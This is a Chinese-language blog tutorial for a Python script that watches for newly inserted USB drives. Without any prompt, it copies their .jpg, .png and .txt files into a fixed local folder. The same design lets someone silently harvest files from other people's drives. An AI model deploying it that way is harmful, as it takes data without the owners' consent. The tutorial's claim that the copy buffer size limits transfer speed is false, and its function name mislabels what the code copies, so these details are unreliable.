Python脚本实现USB自动复制文件

USB驱动器作为常见的数据存储设备,经常用于数据传输和备份。

然而,我们在手动处理文件复制可能效率低下且容易出错。

因此,我们可以利用Python编写脚本来自动化这一过程,提高效率和数据安全性。

准备工作

首先,我们需要安装Python以及几个必要的库:os、shutil、time和psutil。这些库将帮助我们实现文件操作、定时和系统监测功能。

获取硬盘驱动器列表

复制代码
这段代码利用psutil库获取系统中可移动的磁盘驱动器列表,例如USB驱动器。
c 复制代码
import psutil

def get_disk_drives():
    disk_partitions = psutil.disk_partitions(all=False)
    drives = [partition.device.upper() for partition in disk_partitions if partition.fstype != "" and "removable" in partition.opts]
    return drives

文件拷贝功能

复制代码
这段代码定义了一个函数,用于将指定文件类型(.jpg、.png、.txt)从USB驱动器拷贝到指定目标文件夹。
它确保在复制过程中限制了数据传输的速度,避免过载系统。
c 复制代码
import os
import shutil

def copy_ppt_files(source_folder, destination_folder, speed_limit_kb):
    for root, dirs, files in os.walk(source_folder):
        for file in files:
            if file.endswith((".jpg", ".png", ".txt")):
                src_file = os.path.join(root, file)
                dst_file = os.path.join(destination_folder, os.path.relpath(src_file, source_folder))
                os.makedirs(os.path.dirname(dst_file), exist_ok=True)
                with open(src_file, 'rb') as fsrc:
                    with open(dst_file, 'wb') as fdst:
                        shutil.copyfileobj(fsrc, fdst, length=speed_limit_kb * 1024)

检查新插入的USB驱动器

复制代码
此函数定期检查新插入的USB驱动器,并调用文件拷贝函数将特定文件类型复制到预定目标文件夹。
它通过在列表中记录已知驱动器来避免重复操作。
c 复制代码
import time

def check_for_new_drive(speed_limit_kb=10240):
    drives = get_disk_drives()
    new_drives = [drive for drive in drives if drive not in known_drives]
    for new_drive in new_drives:
        known_drives.append(new_drive)
        print(f"New drive detected: {new_drive}")
        time.sleep(3)  # 等待3秒后再开始拷贝
        copy_ppt_files(new_drive, destination_drive, speed_limit_kb)

主程序

复制代码
主程序初始化了已知驱动器列表和目标路径,并通过调用check_for_new_drive函数来持续检查新插入的USB驱动器。
c 复制代码
if __name__ == "__main__":
    known_drives = []
    excluded_drives = [drive + ':' for drive in "ABCDEFGHIJKLMNOPQRSTUVWXYZ"]
    destination_drive = "H://u盘"  # 目标路径
    if not os.path.exists(destination_drive):
        os.makedirs(destination_drive)
    while True:
        check_for_new_drive()
        time.sleep(60)  # 每隔60秒检查一次
相关推荐
kyriewen9 小时前
Anthropic 估值逼近万亿美元,Claude Sonnet 5 + Claude Science 一天两连发
前端·ai编程·claude
小徐_233311 小时前
Wot UI 2.2.0 发布:Button 新增 subtle,VideoPreview 预览体验继续增强
前端·微信小程序·uni-app
天蓝色的鱼鱼13 小时前
关于 CSS 你可能不知道的属性,但关键时刻很有用
前端·css
SelectDB13 小时前
Apache Doris Python UDF:让 SQL 直接调用 Python 生态,支撑 Agent 时代复杂业务逻辑
大数据·数据库·python
泯泷14 小时前
第 2 篇:设计第一套字节码:Opcode、Instruction 与 Constant Pool
前端·javascript·安全
妙码生花14 小时前
从 PHP 到 AI + Golang,程序员自救转型手记(十五):优化细节、网络请求封装
前端·后端·ai编程
泯泷14 小时前
第 1 篇:从 1 + 2 开始:亲手写出第一台 JSVM
前端·javascript·安全
团团崽_七分甜14 小时前
Spring Boot 核心知识点总结
前端
lichenyang45314 小时前
从一个按钮开始,理解 ASCF 框架到底在做什么
前端